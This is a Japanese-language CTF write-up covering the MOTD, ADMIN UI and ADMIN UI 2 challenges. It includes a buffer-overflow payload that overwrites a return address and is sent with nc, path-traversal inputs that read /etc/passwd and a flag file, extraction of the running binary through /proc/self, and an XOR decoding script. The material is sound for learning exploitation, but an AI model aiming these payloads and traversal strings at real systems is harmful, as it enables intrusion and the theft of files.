lea rdx, [rbp+var_110]
mov eax, 0
mov ecx, 20h
mov rdi, rdx
rep stosq
lea rsi, modes ; "r"
lea rdi, filename ; "./flag.txt"
call _fopen
mov [rbp+var_8], rax
lea rdx, [rbp+var_110]
mov rax, [rbp+var_8]
lea rsi, aS ; "%s"
mov rdi, rax
mov eax, 0
call ___isoc99_fscanf
lea rax, [rbp+var_110]
mov rsi, rax
lea rdi, aAdminMotdIsS ; "Admin MOTD is: %s\n"
mov eax, 0
call _printf
nop
leave
retn
read_flag endp
また、機能4から呼び出される関数read_flag
が存在し、これは./flag.txt
の内容を読んで出力している。
先程のリターンアドレスをこの関数の開始地点に設定するとフラグが得られると考えられる。IDAのText viewより開始地点は0x606063A5
であると分かる。
payload作成
関数set_motdの開始直後にてリターンアドレスはRSPに保存されている。(直前のcallによりpushされるため)
ここから「push rbp」「mov rbp, rsp」「sub rsp, 100h」が順に実行され、MOTD入力用の領域[rbp-100h]が確保される。よって以下の長さの合計264がpayload先頭の無意味な文字の長さとなる。
- 「push rbp」の8バイト
- 「sub rsp, 100h」の0x100(=256)バイト
ただしgets()は読み込んだ文字列にヌル文字を追加するため、実際の入力は1文字減り263文字となる点に注意。
無意味な文字を出力した後にリターンアドレス0x606063A5
を入力する。リトルエンディアンにより逆順となる。
$ python -c "print('A'*263 + '\xa5\x63\x60\x60')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¥c``
payload送信
以上で作成したpayloadを機能2実行時に入力するとフラグを得る。
$ python -c "print('2\n'+'A'*263 + '\xa5\x63\x60\x60')" | nc motd.ctfcompetition.com 1337
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
Admin MOTD is: CTF{DUMMY_FLAG}
- 余談
payload送信をCentOS7で試したところリターンアドレス\xa5
がうまく出力されず失敗した。macOSでは成功しており、この差の原因は不明。
Pwn-Reversing
ADMIN UI
$ nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
問題文の通りにアクセスする。フラグ入手に利用するメニューは2) Read EULA/patch notes
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
Version0.2
## Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
Version0.3
# Version 0.3
- Rollback of version 0.2 because of random reasons
- Blah Blah
- Fix random reboots at 2:32 every second Friday when it's new-moon.
Version0.2の、Fixed path traversal bug
がヒントになっており、このシステムはpath traversalが可能。
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
../../../../../etc/passwd
----- snip -----
user:x:1337:1337::/home/user:
/etc/passwd
のうち、一般ユーザはuserのみ。
Which patchnotes should be shown?
../../../../home/user/flag
CTF{DUMMY_FLAG}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
勘に頼り/home/user
以下を探索したところ/home/user/flag
よりフラグを得た。
ADMIN UI 2
問題文にADMIN UIと同様のテクニックでパスワードを得られると書かれている。
WriteUp6やブログ記事7によると/proc/self
が現在実行中のプロセスへのシンボリックリンクになっているため、ここから実行コマンドを得る。(ここが分からなかった)
printf '2\n../../../../../proc/self/exe\n' | nc mngmnt-iface.ctfcompetition.com 1337 > admin-ui2
^C
$ binwalk -e --dd='.*' admin-ui2
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
182 0xB6 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
98155 0x17F6B Unix path: /usr/include/c++/7
$ mv _admin-ui2.extracted/B6 ./admin-ui2.elf
/proc/self/exe
が実行中のプログラムであり、標準出力等の余計な文字列を取り除くためbinwalkでelfを取り出す。
$ nm ./admin-ui2.elf | grep -i flag
0000000041414a40 r _ZL4FLAG
0000000041414a2c r _ZL9FLAG_FILE
$ objdump -M intel -d ./admin-ui2.elf | grep -i flag | head
4141422b: 48 8d 3d 31 08 00 00 lea rdi,[rip+0x831] # 41414a63 <_ZL4FLAG+0x23>
4141429a: 48 8d 3d ca 07 00 00 lea rdi,[rip+0x7ca] # 41414a6b <_ZL4FLAG+0x2b>
414142ca: 48 8d 35 9d 07 00 00 lea rsi,[rip+0x79d] # 41414a6e <_ZL4FLAG+0x2e>
----- snip -----
nmやobjdumpでシンボル_ZL4FLAG
が確認でき、怪しいため内容を確認する。
$ gdb -batch -ex 'x/s _ZL4FLAG' ./admin-ui2.elf
0x41414a40 <_ZL4FLAG>: "\204\223\201\274\223\260\250\230\227\246\264\224\260\250\265\203\275\230\205\242\263\263\242\265\230\263\257\363\251\230\366\230\254\370\272/bin/sh"
この文字列をそのままdecodeするとエラーとなる。実行時に何らかの処理が加わっている可能性があるため逆アセンブルし確認。今回はIDAを用いた。
ADMIN UI 2のパスワード処理部分。アセンブリに慣れていないためコメントを付け読み込む。ここではアドレスのコピーをロード、値のコピーをコピーと呼んでいる。
password= byte ptr -90h
l= qword ptr -10h
i= qword ptr -8
lea rax, [rbp+password] ; raxにパスワード入力箇所をロード
mov rsi, rax ; rsiにraxをコピー。scanfの第2引数となる
lea rdi, a127s ; "%127s", rdiに"%127s"をロード。_scanfの第1引数となる
mov eax, 0 ; eaxに0をコピー。ここにscanfの返り値が入る
call _scanf
lea rax, [rbp+password] ; raxにパスワード入力箇所をロード
mov rdi, rax ; s, rdiにrax(=変数password)の値をコピー。strlenの第1引数となる
call _strlen
mov [rbp+l], rax ; rbp+lにrax(=strlenの返り値)をコピー
mov [rbp+i], 0 ; rbp+iに0をコピー
loc_4141449F:
mov rax, [rbp+i] ; raxにrbp+iの値をコピー
cmp rax, [rbp+l] ; raxとrbp+l(=変数passwordの値の長さ)を比較
jnb short loc_414144D6 ; rax < rbp+lであれば以下のコードへ
lea rdx, [rbp+password] ; rdxにpasswordをロード
mov rax, [rbp+i] ; raxにrbp+iの値をコピー
add rax, rdx ; raxにrdx(=password)の値を足す(=raxがpassword[i]のアドレスとなる)
movzx eax, byte ptr [rax] ; raxのうち1バイトをeaxにコピー(=eaxにpassword[i]の値をコピー)
xor eax, 0FFFFFFC7h ; eaxと0FFFFFFC7hでxorを取った値をeaxにコピー
mov ecx, eax ; ecxにeaxの値をコピー
lea rdx, [rbp+password] ; rdxにpasswordをロード
mov rax, [rbp+i] ; rbp+iの値をraxにコピー
add rax, rdx ; raxにrdxの値を足す
mov [rax], cl ; ?
add [rbp+i], 1 ; rbp+iに1を足す
jmp short loc_4141449F
要するに、以下のようにpasswordの各値と0xC7をxorしている。
scanf("%127s", password);
l = strlen(password):
for(i = 0; i < l; ++i) password[i] ^= 0xC7u;
同様の処理を先程得た_ZL4FLAGの値へ行い、再度decodeを試すとフラグを得る。
$ cat decode.py
password = ''
for b in b'\204\223\201\274\223\260\250\230\227\246\264\224\260\250\265\203\275\230\205\242\263\263\242\265\230\263\257\363\251\230\366\230\254\370\272/bin/sh':
password += chr(ord(b) ^ ord(b'\xc7'))
print(password)
$ python decode.py
CTF{DUMMY_FLAG}襮贯
- 余談
当初/etc/passwd
以外にヒントとなるファイルが無いかをPath Traversal Cheat Sheet8を用いて探したが、成果は無かった。